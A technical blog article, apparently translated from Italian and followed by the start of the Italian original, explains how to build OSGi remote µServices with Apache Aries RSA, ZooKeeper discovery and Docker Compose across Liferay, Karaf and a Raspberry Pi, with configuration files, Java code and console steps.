Deployment	Either from the OSGi console, from the file system (hot deploy) or via one dedicated tool / API (specific for OSGi runtime)

Table 1 - Association between Microservices capabilities and features offered from the OSGi framework

Moving beyond the confines of the OSGi environment, challenges come into play interesting that obviously include considerations about the balance of the load balancing, auto-scaling, resilience, fault tolerance and back-pressure to name some.

All these aspects can be enabled via the Remote Services and Remote Service Admin specifications defined by the OSGi Compendium specification.

In particular, the Remote Service Admin specification defines an agent of management plugable called Topology Manager able to satisfy the several concepts mentioned that characterize the interaction between OSGi remote service (actually the communication channel between the different OSGi containers which form the set of Microservices).

The best known frameworks that provide an implementation of the two OSGi specifications concerning Remote Services, are:

Apache CXF Distributed OSGi which allows you to:
1. Offer and consume SOAP and REST-based services. Furthermore, the use of the Declarative Services it is the simplest way to interact with these services;
2. communicate transparently between OSGi containers.
Apache Aries RSA (Remote Service Admin);
Eclipse Communication Framework (ECF)

Throughout this article, we will refer to the Apache implementation Aries RSA (Remote Service Admin), because in my opinion it is the simplest and flexible to use, as well as the most widespread.

After seeing what are the specifications that enable us to distribute the bundles OSGi and therefore the µServices to go outside the boundaries of their container, the time has come to present a possible scenario taking care of the practical aspect.

3. An example scenario of Remote µServices

Let's assume a scenario where we have four different OSGi containers, of which two exclusively offer services, thus assuming the role of service provider, one it offers services and also assumes the role of client or comumer and finally, one last that has exclusively the role of consumer. On two of the three OSGi containers that will act as service provider, we will install the same service.

So if we want to make the shopping list, we have to develop two classics OSGi-style projects.

One that contains three bundles: API, Service and Consumer for the service that we will call Who I am.
One that contains three bundles: API, Service and Consumer for the service that we will call Raspberry Pi.

The table below shows the details by service and which will be the OSGi bundle to be developed.

Servizio	Bundle Name	Description
Who I am Service	WhoIam API	Bundle that defines the Who I am service contract via the Java interface. The bundle exports the interface package (see Source Code 2).
	WhoIam Service	Bundle that implements the Who I am service interface. The bundle imports the package interface (see Source Code 3).
	WhoIam Consumer	Bundle that consumes the Who I am service. The reference to the service is obtained in such a way transparent from the Service Registry. The bundle imports the interface package (see Source Code 4).
Raspberry Pi Service	Raspberry Pi API	Bundle that defines the Raspberry Pi service contract via the Java interface. The bundle exports the interface package.
	Raspberry Pi Service	Bundle that implements the Raspberry Pi service interface. The bundle imports the package interface.
	Raspberry Pi Consumer	Bundle that consumes the Raspberry Pi service. The reference to the service is obtained in such a way transparent from the Service Registry. The bundle imports the interface package.

Table 2 - OSGi bundles that will implement the example scenario for µServices remote

The diagram below shows the scenario we are going to implement using an architecture distributed to µServices while remaining in our OSGi context. For those who are now used to developing using the OSGi framework, they will appreciate the fact that in the end nothing will change in the way you write code.

From the diagram it is possible to see that we have four OSGi available Containers of which, one is inside an instance of Liferay Portal Platform and the rest of the three are all instances of Apache Karaf. In order to make the more interesting things, I deliberately planned for the scenario the introduction of Liferay and an Apache Karaf instance running on the Raspberry Pi.

Figure 4 - Example scenario of Remote µServices

The distribution of the bundles (indicated in Table 2) on the four OSGi containers. On Liferay Portal we have the bundles that will allow you to consume the Who I am and Raspberry Pi service. On two containers Apache Karaf we have the bundles that will allow us to provide the Who I am service , and on one of the two containers the bundles that will allow you to consume the Raspberry Pi service. On the third and final Apache Karaf container we have the bundles which will provide the Raspberry Pi service.

Now that we have a clear idea of what our scenario will be, we must understand how to enable the OSGi containers we have available to be able to communicate with each other.

4. Apache Aries RSA (Remote Service Admin)

The specific OSGi R7 Compendium has two sections related to OSGi Remote Services: 100 Remote Services (RS) e 122 Remote Service Admin Service Specification (RSA). These specs, however, are primarily intended for who implements RS/RSA rather than developers.

Throughout the article I have always referred to the R7 release of the OSGi specifications, I would however like to mention that the specifications for OSGi Remote Services were introduced in OSGi Service Platform Enterprise Specification, Release 4, Version 4.2.

To recap. OSGi services are simply Java objects that expose a number of Java interfaces. Instances are dynamically registered in based on the interface name along with the properties via the Service Registry. As described in the specifications, OSGi services feature numerous advantages, including support for dynamics, safety, a clear cut separation between service contract and implementation, Semantic Versioning and other. There are three parts to an OSGi service instance:

one or more service interfaces (java interface);
an implementation of service interfaces;
a consumer of the service (via the service interface).

OSGi Remote Services it is simply extending the Service Registry to allow access to OSGi services from out of process ... or for remote access.

How does it differ from non-OSGi remoting like HTTP/REST? First In place, the OSGi remote services have access to all properties of the OSGi services ... e.g. dynamics, security, versioning, separation of implementation contracts, etc., as well as full support for services declarative or Declarative Services and other injection frameworks.

A Distribution Provider can take advantage of loose-coupling between bundles to export a registered service by creating an endpoint. Conversely, the Distribution Provider can create a proxy that accesses an endpoint and then register this proxy as an imported service. A framework can contain simultaneously several Distribution Providers, each of which imports and exports independently.

An endpoint is a communication access mechanism to a service in another framework, a (web) service, another process or queue, etc., which requires a communications protocol. The mapping between services ed endpoints as well as their communication characteristics is called topology.

Figure 5 - Remote Services Architecture

The project Apache Aries Remote Service Admin (RSA) allows you to transparently use OSGi services for communication remote. OSGi services can be marked for export adding a service property service.exported.interfaces=*. Various other properties can be used to customize the way the service must be exposed.

The figure below shows the Apache Aries Remote Service Admin architecture (RSA) that if you notice shows the components described by the OSGi Remote specifications Service (RS and RSA). The Endpoint describes a service using the service interfaces, URL and any other properties needed for successfully import the remote service. The Endpoint Listener is a service that must be notified when there are changes on endpoints remote (described by OSGi filters) are registered or de-registered.

Figure 6 - Apache Aries Remote Service Admin (RSA) architecture

The Topology Manager by default exposes all services premises that are appropriately marked for export and import all the affected services with the corresponding remote endpoints. The Topology Manager can also add properties for the purpose of changing the way the services are exposed. For the services to be exposed call the Remote Service Admin, then the latter performs the actual export, subsequently notify endpoint listeners of the new endpoint. The Topology Manager listens for service requests from consumers and creates endpoints listener.

The Topology Manager is the best place to implement governance rules at the system level. Some examples of what can be done:

secure remote endpoints with SSL/TLS, authentication services and audit;
export of OSGi services with annotations for JAX-WS e JAX-RS although not specially marked for export.

Per il ruolo del Topology Manager, questo non implementa direttamente queste caratteristiche ma crea tutte le chiamate necessarie a un Remote Service Admin.

The Remote Service Admin is called by the Topology Manager to expose the local services as remote endpoints and create local proxy services as clients for remote endpoints. Apache RSA has a SPI (Service Provider Interface), the Distribution Provider which allows you to easily create new mechanisms transport and serialization for OSGi services to be available beyond outside the container. The diagram below shows the role of the Distribution Provider.

Figure 7 - Role of the Distribution Provider

The current providers supported by Apache Aries are:

Apache CXF Distributed OSGi
- uses Apache CXF for transport;
- service endpoints can also be consumed by software != da Java thanks to the support of the JAX-WS and JAX-WS standards.
TCP
- Java serialization on TCP (one port per service);
- very few addictions;
- simple to implement your own transport mechanism.
Fastbin
- Java serialization Protocol Buffers (or Protobuf) optimized over TCP via NIO (Non-blocking I / O);
- multiplexing on a single port;
- transparently manages InputStreams and OutStreams in remote services;
- Synchronous and asynchronous calls supported.

Discovery uses endpoint listeners to listen to endpoints local and publish them for other OSGi containers. Listen to the endpoints too remote and notify endpoint listeners of their presence. The current implementations supported by Apache RSA are:

Local Discovery through the use of XML descriptors;
Discovery based by Apache Zookeeper.

For the implementation of our scenario (shown in Figure 4) we will use the Distribution Provider TCP and Apache ZooKeeper for Discovery. Here we are!

5. Implementation of the Remote µServices scenario

I realize some of you have been hard to get here, but there we are, the very, very practical part has arrived.

From the diagram shown in Figure 4 some of you will have imagined the scenario of deployment, yes: container Docker e SBC (Single Board Computer) Raspberry Pi.

5.1 Deployment environment configuration

In order to encourage all of you to replicate the scenario in Figure 4, there isn't nothing better than putting up the necessary services using docker compose. Via the docker compose we will configure the following services.

Two Apache Karaf services (version 4.2.7)
A Liferay Portal Community Edition service (version 7.3 GA4)
An Apache ZooKeeper service (version 3.6.1)

The contents of the docker-compose.yaml file are shown below the configuration details of the above services are defined. All the images of the defined services are available on the official Docker accounts Hub of their respective owners.

# Docker Compose file for OSGi µServices demo
version: "3.3"
services:
  zookeeper-instance:
    image: zookeeper:3.6.1
    restart: always
    hostname: zookeeper-instance
    ports:
      - 2181:2181
      - 9080:8080
    healthcheck:
      test:
        [
          "CMD-SHELL",
          "wget http://zookeeper-instance:8080/commands && echo 'OK'",
        ]
      interval: 5s
      timeout: 2s
      retries: 3
  karaf-instance-1:
    image: apache/karaf:4.2.7
    command:
      [
        "sh",
        "-c",
        "cp /opt/apache-karaf/deploy/*.cfg /opt/apache-karaf/etc/; karaf run
        clean",
      ]
    volumes:
      - ./karaf-instance-1/deploy:/opt/apache-karaf/deploy
    ports:
      - 8101-8105:8101    
    depends_on:
      - zookeeper-instance
  karaf-instance-2:
    image: apache/karaf:4.2.7
    command:
      [
        "sh",
        "-c",
        "cp /opt/apache-karaf/deploy/*.cfg /opt/apache-karaf/etc/; karaf run
        clean",
      ]
    volumes:
      - ./karaf-instance-1/deploy:/opt/apache-karaf/deploy
    ports:
      - 8106-8110:8101    
    depends_on:
      - zookeeper-instance
  liferay-instance-1:
    image: liferay/portal:7.3.3-ga4
    volumes:
      - ./liferay-instance-1/deploy:/etc/liferay/mount/deploy
      - ./liferay-instance-1/files:/etc/liferay/mount/files
    ports:
      - 6080:8080
      - 21311:11311
      - 9201:9201
    depends_on:
      - zookeeper-instance

Source Code 5 - Docker Compose file for the definition of the services necessary for the implementation of the Remote µServices scenario

The contents of the docker-compose.yml should be clear enough. A single note what i would like to do is about the command of Apache Karaf service that I wanted to override (see CMD) for two reasons.

Update the configuration of the Maven repositories. In particular the exchange protocol from http to https, this is to avoid the HTTP/501 error in case update and/or installation of new Apache Karaf Feature.
Update the Apache Karaf configuration to install le by default features of Apache Aries RSA. This way we avoid having to do it later from the console.
Start Apache Karaf with the clean parameter Cleaning the Karaf state.

Console 1 shows the structure of the project that allows you to pull up i services via docker compose. Each service has its own directory inside which then contains further directories (deployment and configuration) and file.

The deploy directory referencing the Apache Karaf service contains the configuration files for Apache ZooKeeper, Apache Karaf and the .jar files bundles implementing the Who I am service (see Table 2).

The deploy directory which refers to the Liferay Portal service is the bundle hot-deploy directory. They will eventually go to this directory placed the JAR files of the API and Consumer bundles of the Who I am e Raspberry Pi.

The files/osgi/configs directory which references the Liferay Portal service, contains the configuration file for Apache ZooKeeper.

The files/osgi/modules directory which refers to the Liferay Portal service, contains all the bundles needed to install on the OSGi container of Liferay support for Apache Aries RSA. Furthermore, within the same directory, there are the JARs of the API and Consumer bundles of Who I am and Raspberry Pi services.

├── docker-compose.yml
├── karaf-instance-1
│   └── deploy
├── karaf-instance-2
│   └── deploy
└── liferay-instance-1
    ├── deploy
    └── files
        └── osgi
            ├── configs
            └── modules

Console 1 - Docker-osgi-remote-services-example project structure

5.2 Apache Aries RSA setup for OSGi containers

Before we can remotely expose in our µServices, it needs to be Apache Aries RSA installed on each of the OSGi containers, including Liferay.

To do this, I preferred to act directly at the docker level he composed, in this way, once the services are up, everything will be ready for enjoy remote µServices in action.

Of course you can install Apache Aries RSA later, but for as much as possible we always try to make the most of our tools arrangement.

Apache Karaf side, installing Apache Aries RSA is really simple, the following configuration files are enough, already included in the docker project compose (see karaf-instance-1/deploy directory).

org.apache.karaf.features.cfg. Using this configuration file is rsa-features address was added and indicated which bundle install in the start-up phase of Apache Karaf.
org.apache.aries.rsa.discovery.zookeeper.cfg. Using this file was configured the address and port of the Discovery service, which in this case is represented by Apache ZooKeeper.

Below is part of the contents of the configuration file of the Apacke Karaf features of our interest. Specifically do refer to line 9 and from line 34 to line 36. Thus Apache Karaf is instructed to install the bundles upon departure SCR (Service Component Runtime), aries-rsa-provider-tcp and aries-rsa-discovery-zookeeper.

#
# Comma separated list of features repositories to register by default
#
featuresRepositories = \
    mvn:org.apache.karaf.features/standard/4.2.7/xml/features, \
    mvn:org.apache.karaf.features/spring/4.2.7/xml/features, \
    mvn:org.apache.karaf.features/enterprise/4.2.7/xml/features, \
    mvn:org.apache.karaf.features/framework/4.2.7/xml/features, \
    mvn:org.apache.aries.rsa/rsa-features/1.14.0/xml/features

#
# Defines if the boot features are started in asynchronous mode (in a dedicated thread)
#

featuresBoot = \
    instance/4.2.7, \
    package/4.2.7, \
    log/4.2.7, \
    ssh/4.2.7, \
    framework/4.2.7, \
    system/4.2.7, \
    eventadmin/4.2.7, \
    feature/4.2.7, \
    shell/4.2.7, \
    management/4.2.7, \
    service/4.2.7, \
    jaas/4.2.7, \
    deployer/4.2.7, \
    diagnostic/4.2.7, \
    wrap/2.6.1, \
    bundle/4.2.7, \
    config/4.2.7, \
    kar/4.2.7, \
    scr/4.2.7, \
    aries-rsa-provider-tcp/1.14.0, \
    aries-rsa-discovery-zookeeper/1.14.0

Source Code 6 - Configuration file org.apache.karaf.features.cfg

The hostname and port are set through the two properties shown below of the Apache ZooKeeper service (see service definition zookeeper-instance on the docker compose file).

zookeeper.host=zookeeper-instance
zookeeper.port=2181

Source Code 7 - Configuration file org.apache.aries.rsa.discovery.zookeeper.cfg

On the Liferay Portal side, installing Apache Aries RSA support is a little bit more boring. What you need to do is download the Apache Aries RSA bundles and Apache ZooKeeper from the Maven repository and the Apache ZooKeeper site, then put them in the hot-deploy directory ($LIFERAY_HOME/deploy) for installation.

The org.apache.aries.rsa.discovery.zookeeper.cfg configuration file for the Discovery service should instead be placed inside the directory $LIFERAY_HOME/osgi/configs.

Thanks to docker compose you won't have to do any of that, services they will start already configured. The one shown below is the structure of the docker compose project, which allows you to pull up all OSGi containers already configured and ready to use, with the projects' OSGi bundles also installed Who I am and Raspberry Pi distributed according to the diagram in Figure 4.

├── docker-compose.yml
├── karaf-instance-1
│   └── deploy
│       ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.api-1.0.0-SNAPSHOT.jar
│       ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.service-1.0.0-SNAPSHOT.jar
│       ├── org.apache.aries.rsa.discovery.zookeeper.cfg
│       ├── org.apache.karaf.features.cfg
│       └── org.ops4j.pax.url.mvn.cfg
├── karaf-instance-2
│   └── deploy
│       ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.api-1.0.0-SNAPSHOT.jar
│       ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.service-1.0.0-SNAPSHOT.jar
│       ├── it.smc.techblog.apache.aries.rsa.examples.raspberrypi.api-1.0.0-SNAPSHOT.jar
│       ├── it.smc.techblog.apache.aries.rsa.examples.raspberrypi.consumer-1.0.0-SNAPSHOT.jar
│       ├── org.apache.aries.rsa.discovery.zookeeper.cfg
│       ├── org.apache.karaf.features.cfg
│       └── org.ops4j.pax.url.mvn.cfg
└── liferay-instance-1
    ├── deploy
    └── files
        └── osgi
            ├── configs
            │   └── org.apache.aries.rsa.discovery.zookeeper.cfg
            └── modules
                ├── it.smc.techblog.apache.aries.rsa.examples.raspberrypi.api-1.0.0-SNAPSHOT.jar
                ├── it.smc.techblog.apache.aries.rsa.examples.raspberrypi.consumer-1.0.0-SNAPSHOT.jar
                ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.api-1.0.0-SNAPSHOT.jar
                ├── it.smc.techblog.apache.aries.rsa.examples.whoiam.consumer-1.0.0-SNAPSHOT.jar
                ├── jansi-1.18.jar
                ├── org.apache.aries.rsa.core-1.14.0.jar
                ├── org.apache.aries.rsa.discovery.command-1.14.0.jar
                ├── org.apache.aries.rsa.discovery.config-1.14.0.jar
                ├── org.apache.aries.rsa.discovery.local-1.14.0.jar
                ├── org.apache.aries.rsa.discovery.zookeeper-1.14.0.jar
                ├── org.apache.aries.rsa.eapub-1.14.0.jar
                ├── org.apache.aries.rsa.examples.echotcp.api-1.14.0.jar
                ├── org.apache.aries.rsa.examples.echotcp.consumer-1.14.0.jar
                ├── org.apache.aries.rsa.provider.tcp-1.14.0.jar
                ├── org.apache.aries.rsa.spi-1.14.0.jar
                ├── org.apache.aries.rsa.topology-manager-1.14.0.jar
                ├── org.osgi.service.remoteserviceadmin-1.1.0.jar
                └── zookeeper-3.4.14.jar

Console 2 - Complete project structure docker-osgi-remote-services-example

As for the OSGi Apache Karaf container for the service Raspberry Pi, you should have a Raspberry Pi (at least 3 Model B+), install Apache Karaf and follow the configuration tasks shown in previously. The Apache Karaf installation and configuration activity on Raspberry Pi is really simple; I recommend reading the official guide.

The two figures below show Apache Karaf running on my Raspberry Pi 3 Model B+ and the Apache Aries RSA and Apache ZooKeeper bundle list.

Figure 8 - Apache Karaf running on Raspberry Pi 3 Model B+

Figure 9 - Apache Aries (RSA) and Apache ZooKeeper bundles installed on the Raspberry Pi

5.3 Start-up of the solution via Docker Compose

So far I think we have seen a lot of beautiful interesting things. Now it's time to start our solution via docker compose. The steps to do are very few and simple (as shown in Console 3).

Before starting the services and avoiding "strange errors", you should make sure that the resources dedicated to Docker are adequate. For these services I recommend dedicating at least 2 CPUs and 6 Gbytes of memory.

As for the Docker version, the minimum required is 18. Personally my environment is Docker Desktop with Engine version 19.03.12 and Compose version 1.26.2.

$ git clone https://github.com/smclab/docker-osgi-remote-services-example.git
$ cd docker-osgi-remote-services-example
$ docker-compose up

Console 3 - Commands for docker-osgi-remote-services-example repository clone and solution start-up

The first time I recommend running the docker compose not in detached mode, so as to better follow the start-up of the whole solution. For most of you, the first start-up will take several minutes, spent downloading the images from Docker Hub.

To make sure the solution came up without any problems, we could use the docker-compose ps command and we should get a result like the one shown in Figure 10 below. In this case, the output of the command informs that everyone in the container is up and running.

The figure below highlights in particular the TCP ports of the administration of OSGi containers, both Liferay and Apache Karaf. It is highlighted also the exported TCP port for the Apache ZooKeeper service.

The TCP port for the Liferay Gogo Shell is 21311 for the respective instances of Apache Karaf the TCP ports are: 8104 and 8109.

Port 2181 exported for the Apache ZooKeeper service is what it will be uses from OSGi containers to log information about its services.

From the Docker Compose file (see Source Code 5), the exported administration ports for the two instances of Apache Karaf, they are set to base range, so it's not made sure that the port number is always the same, it could change at each start of the service.

Console Session 1 - Start-up of the solution via Docker Compose

By clicking on Console Session 1, you can see the terminal session it does reference to the commands shown in Console 3 for the start-up of Docker Compose.

Figure 10 - Run the docker-compose ps command to check the status of service container.

We do further checks to ensure that Apache Aries RSA e Apache ZooKeeper plus the bundles of our services have been correctly installed. To do this, simply connect to the Gogo Shell of Liferay and use the ls command to verify that i respective bundles and are in the Active state. The same activity can be conducted on the Apache Karaf instances, connecting to the console and using the list command to verify that the respective bundles are present and that are also in the Active state.

The two figures below show the output of the ls and list commands for Gogo Shell (Liferay) and Apache Karaf. For connection to the Apache Karaf console use the command ssh -p 8104 karaf @ 127.0.0.1 Specify the port of the instance you want to connect to (see Figure 10). The password to access the Apache Karaf console is: karaf.

Figure 11 - Output of the lb command from which you can see the Apache bundles Aries (RSA), Apache ZooKeeper + the remote services bundles developed.

Figure 12 - Output of the list command on one of the Apache Karaf instances from which it is You can see Apache Aries (RSA) bundles, Apache ZooKeeper + the remote services developed.

6. How to make Remote µServices

We have seen in detail everything that makes Remote µServices "magical" in chapter 4, where the OSGi Remote Services specification was introduced and how Apache Aries RSA makes it possible to export services outside the OSGi container they live in.

For those who develop, does anything change? Absolutely not, even more so for who uses the Declarative Services (or DS).

Let's take a look at the Who I am service. This service is very simple, through the interface it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService (see Source Code 2) the whoiam () method has been defined. This method returns some information about the runtime environment of the service. The implementation of this interface, as shown in Source Code 3, would not be candidate for export as a remote service. To make this happen, it is necessary to add properties to our component, as indicated following.

Using the property service.exported.interfaces=* we nominate the component to be exported as a remote service, you must also specify the port number via the aries.rsa.port= property. The latter configuration is specific to the type of transport chosen, in this case the TCP, as I anticipated in chapter 4 talking about Distribution Provider.

package it.smc.techblog.apache.aries.rsa.examples.whoiam.service;

import it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService;
import org.osgi.framework.Bundle;
import org.osgi.framework.BundleContext;
import org.osgi.framework.Constants;
import org.osgi.service.component.annotations.Activate;
import org.osgi.service.component.annotations.Component;
import org.osgi.service.component.annotations.Reference;
import org.osgi.service.log.LogService;

import java.net.InetAddress;
import java.net.UnknownHostException;

/**
 * @author Antonio Musarra
 */
@Component(
  property = {
    "service.exported.interfaces=*",
    "aries.rsa.port=8202"
  })
public class WhoIamServiceImpl implements WhoIamService {

  @Override
  public String whoiam() {
    Bundle bundle = _bc.getBundle();

    String hostAddress = "NA";

    try {
      hostAddress = InetAddress.getLocalHost().getHostAddress();
    }
    catch (UnknownHostException uhe) {
      _log.log(_log.LOG_ERROR, uhe.getMessage());
    }

    String response =
      "Who I am : {Bundle Id: %s, Bundle Name: %s, Bundle Version: %s, Framework Id: %s, HostAddress: %s}";

    return String.format(
      response, bundle.getBundleId(), bundle.getHeaders().get(
        Constants.BUNDLE_NAME), bundle.getVersion(),
      _bc.getProperty(Constants.FRAMEWORK_UUID), hostAddress
    );
  }

  @Activate
  protected void activate(BundleContext bundleContext) {
    _bc = bundleContext;
  }

  private BundleContext _bc;

  @Reference
  private LogService _log;
}

Source Code 8 - Enabling the component that implements the Who I am interface to be exported as a remote service

For us developers, the "effort" is over here, you don't need to do anything else. Nothing changes for the consumer either (see Source Code 4), just enter annotation @Reference to the declared member of type WhoIamService, as always done. The Topology Manager will then inject the correct reference to the service remote, the one that lives inside the other OSGi container.

Let's connect to Liferay's Gogo Shell and see what we change below than usual. With the installation of Apache Aries (RSA) we have to ours available command to be able to query the Remote Service Admin and understand which endpoints were created. The command is called rsa:endpoints e the output of this to Liferay's Gogo Shell should look like the one shown below.

Figure 13 - Output of the rsa command: endpoints

The one shown in the figure corresponds to what I would have expected, and the numbers actually add up; perhaps someone could object. There are three endpoint. Why three endpoints if we have exported two services? It is It is true that the exported services are two but the Who I am service is installed on two different OSGi containers. The information the command returns is:

id: identifier of the exported service expressed in URI format. Protocol, IP address of the service and port;
interface: is the full name of the interface that the service implements;
framework: is the identifier of the OSGi framework within which the service lives;
comp name: is the name of the component that corresponds to the Java class that implements the interface and consequently the service.

Note that the framework identifier is different for each of the endpoints, correct, because they are services that live in three different OSGi containers.

By clicking on Console Session 2, you can see the terminal session where the registration process of the new endpoint concerning the service is highlighted of the Raspberry Pi. The new endpoint is in fact registered immediately after startup of the Apache Karaf instance installed on the Raspberry Pi.

Console Session 2 - Apache Aries (RSA) Endpoint Control

How many times have you used the bundle or b command to do the inspection any bundles? I guess several times, especially when there was to understand why things didn't work out. Let's try running the b command on the del bundle consumer of the Who I am service and let's see what the output will present.

Before running the bundle inspection command, let's use the command lb it.smc.techblog to get the list of our bundles and then get the id of the bundle we are interested in inspecting.How many times have you used the bundle or b command to do the inspection any bundles? I guess several times, especially when there was to understand why things didn't work out. Let's try running the b command on the del bundle consumer of the Who I am service and let's see what the output will present.

Before running the bundle inspection command, let's use the command lb it.smc.techblog to get the list of our bundles and then get the id of the bundle we are interested in inspecting.

Figure 14 - Output of the lb it.smc.techblog command

Once we get the bundle id, we run the command b 1180. The output shown in the figure shows slightly different information than the that is, the Services in use section shows the reference to the service remote, from which we can see all the characteristics of the remote endpoint. This is where Topology Manager and Remote Service Admin came into play.

Figure 15 - Output of the command b for the inspection of the consumer bundle of the service Who I am

In this case the binding was done with the remote service that lives on OSGi container which has the address 172.29.0.4.

What should I see by querying the OSGi framework via services command en.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService? That that we get is the information that we have the availability of two services remotes that implement the same interface (in this case WhoIamService) but that only one of these is used by the consumer bundle.

Figure 16 - Output of the services command it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService

What would happen if I stop the WhoIamService service tcp://172.29.0.4:8202 currently referenced by the consumer (bundle 1180)? Yes would it create a disservice? Absolutely not. What happens in short is this:

stop the service on the karaf-instance-2_1 instance;
removal of the endpoint tcp://172.29.0.4:8202 from ZooKeeper;
the Discovery service will notify the change on the removed endpoint;
The Topology Manager and the Remote Service Admin ensure that the reference requested by the service consumer WhoIamService is associated to the remote service of the karaf-instance-1_1 instance.

The figure below shows the endpoint verification on the instance karaf-instance-2_1, stop execution for the Who I am Service bundle (bundle 12) and the subsequent verification of the endpoints. After the bundle stop is evident how the endpoint tcp://172.29.0.4:8202 has been removed.

Figure 17 - Stop the bundle 12 Who I am Service and check the endpoints

On the Liferay instance, if we went to check the endpoints, we will see that the endpoint tcp://172.29.0.4:8202 e running the services command again, we will see that the required reference from the consumer to the Who I am service, it has been correctly changed to the endpoint tcp://172.29.0.3:8202.

The two figures below show the changes that occurred on the Liferay side, the last one in particular, it shows the output of calling the whoiam () method of the service remote, where it is evident that the remote service that responded is what it does reference to the endpoint tcp://172.29.0.3:8202, in this case the instance karaf-instance-1_1.

Figure 18 - Endpoint verification and service binding after the remote service is stopped

Figure 19 - Evidence of the call to the remote service made by the consumer and the response expected from the endpoint tcp://172.29.0.3:8202

Even if we restart the bundle that was previously stopped, the consumer it would remain hooked to the current endpoint. We conclude this chapter with the figure below which shows the output of the call to the Raspberry Pi Service remote service , called by the Liferay instance.

Figure 20 - Raspberry Pi Service remote service call which returns a system information series

7. Projects on SMC's GitHub account

I think it was a great effort to get here, but I'll leave you a lot gift. Everything you have seen in the course of this article it is available as a git repository. This project is organized in several repository and in particular:

docker-osgi-remote-services-example : It is the repository that contains all the Docker Compose project there will allow us to come up with the solution represented by the diagram of Figure 4 (a less than the Apache Karaf instance on Raspberry Pi);
aries-rsa-whoiam-examples : Maven project containing bundles for the Who I am Service (see Table 2);
aries-rsa-raspberrypi-examples : Maven project which contains bundles for the Raspberry Pi Service (see Table 2).

The repositories of the two OSGi projects contain what we can define as bonuses, that is, two OSGi commands to interact with the Who I am service and with the service Raspberry Pi. I remind you that the OSGi commands are real commands that we can call from the OSGi container console.

WhoIamConsumerCommand OSGi Command to interact with the Who I am service.
RaspberryPiServiceConsumerCommand OSGi Command to interact with the Raspberry Pi service. For example, one of the commands returns the CPU temperature.

Each repository has inside the README with the basic instructions for use.

8. Conclusions

For the topics we have covered, this article is a consequence of the speech I gave at Liferay Boot Camp Summer Edition 2020, where I specifically discussed the Liferay platform within contexts of Microservices.

As much as I have tried to be concise, with this article I wanted demonstrate how the OSGi framework with its real µServices is capable of foster the development of lightweight, reliable and clean distributed systems.

I realize that more space would be needed, but with what I am managed to occupy I hope to have been clear in the exposition and to have aroused your curiosity on the subject.

I think I can say that it is difficult to find articles with this around the net level of detail and who have addressed the development of a practical solution making all the material available to you.

If you've made it this far, I guess you've also amassed a number of questions that I invite you to leave in the form of a comment on the article. Coming soon other in-depth articles will be published.

9. Resources

To follow I leave a series of resources that are the reference point for contents of this article.

Cosa sono gli OSGi Remote µServices

Fri, 31 Jul 2020 00:00:00 GMT

Siamo in un periodo storico dell'informatica dove tutti vanno pazzi per i Microservices. Chiunque abbia coniato il termine qualche anno addietro, chiaramente non sapeva o non gliene importava che il concetto di µServices fosse già stato introdotto nel 2010 da Peter Kriens (Software Architect presso la OSGi Alliance). La sua idea è sostanzialmente quella estratta dal suo articolo e che riporto a seguire, in cui il termine "micro" ha effettivamente senso.

What I am promoting is the idea of µServices, the concepts of an OSGi service as a design primitive. (cit. Peter Kriens)

Adesso ci troviamo nella situazione che abbiamo due termini che si pronunciano allo stesso modo ma hanno un significato diverso per quanto riguarda l'implementazione! Fortunatamente possiamo scriverli in forma diversa.

Quindi, scriveremo di µServices per fare riferimento ai piccoli ma buoni servizi Java, indipendenti e coesi, che ci consentono di raggiungere gli stessi obiettivi senza il sovraccarico dei Microservices.

Per concludere questa breve disquisizione sui termini per poi passare alla sostanza, vi consiglio la lettura dell'articolo Software mixed with marketing: micro-services pubblicato sempre da Peter Kriens.

Nel corso di questo articolo, che direi essere la prosecuzione del mio intervento Liferay as Digital Experience Platform in the context of Microservices (tenuto al Liferay Boot Camp 2020 Summer Edition), vorrei portarvi a valutare il framework OSGi come valida soluzione per l'implementazione della vostra architettura a Microservices.

Per seguire con efficacia i contenuti dell'articolo è comunque consigliabile un minimo d'infarinatura sul framework OSGi, per questo posso consigliarvi la lettura di questa sintetica presentazione OSGi e Liferay 7 del 2016 tenuta allo User Group Italiano di Liferay a Bologna.

1. OSGi µServices

I servizi OSGi o µServices sono il concetto chiave utilizzato per creare basi di codice modulare. Al livello più basso OSGi riguarda il caricamento di classe; ogni modulo (o bundle) ha il proprio caricatore di classi o class loader. Un bundle definisce le dipendenze esterne usando la direttiva Import-Package. Solo i package esportati esplicitamente attraverso la direttiva Export-Package possono essere utilizzati da altri package.

Questo livello di modularità assicura che solo le API (interfacce Java) siano condivise tra i bundle e le classi di implementazione siano strettamente nascoste.

Altri bundle possono quindi utilizzare il servizio cercandolo dall'interfaccia del servizio. Il bundle può utilizzare il servizio utilizzando la sua interfaccia, ma non deve sapere quale implementazione viene utilizzata o chi ha fornito l'implementazione. In OSGi questo problema è risolto dal registro dei servizi o Service Registry. Il registro dei servizi fa parte del framework OSGi. Un bundle può registrare un servizio in questo registro. Ciò registrerà un'istanza di una classe di implementazione nel registro con la sua interfaccia.

Volendo brevemente riassumere, potremmo dire che:

i µServices o servizi, sono costituiti da una serie d'interfacce e classi Java registrate all'interno del Service Registry;
un componente o component può essere pubblicato come servizio;
un componente o component può richiedere un servizio;
i servizi sono registrati dal Bundle Activator.

La figura a seguire mostra il Service Registry dove ogni bundle può registrare i propri service ma anche dove ogni bundle può trovare i servizi da consumare; potremmo dire che sia una sorta di "faldone".

Figura 1 - Registrazione dei servizi sul registro e uso degli stessi da parte dei bundle

La figura a seguire mostra il classico OSGi Service Pattern che le applicazioni modulari seguono. Una tipica applicazione è quindi constituita da:

un bundle che definisce tutte le API (interfacce Java) e quest'ultime sono esportate verso "l'esterno" tramite la direttiva Export-Package;
un bundle che implementa le interfacce definite dal bundle delle API. Questo utilizza la direttiva Import-Package. I servizi implementati sono registrati all'interno del Service Registry;
un bundle Client (o Consumer) che consuma i servizi definiti dalle API. Questo utilizza la direttiva Import-Package. I riferimenti ai servizi che saranno consumati sono resi disponibili grazie all'interazione con il Service Registry.

Figura 2 - OSGi Service Pattern

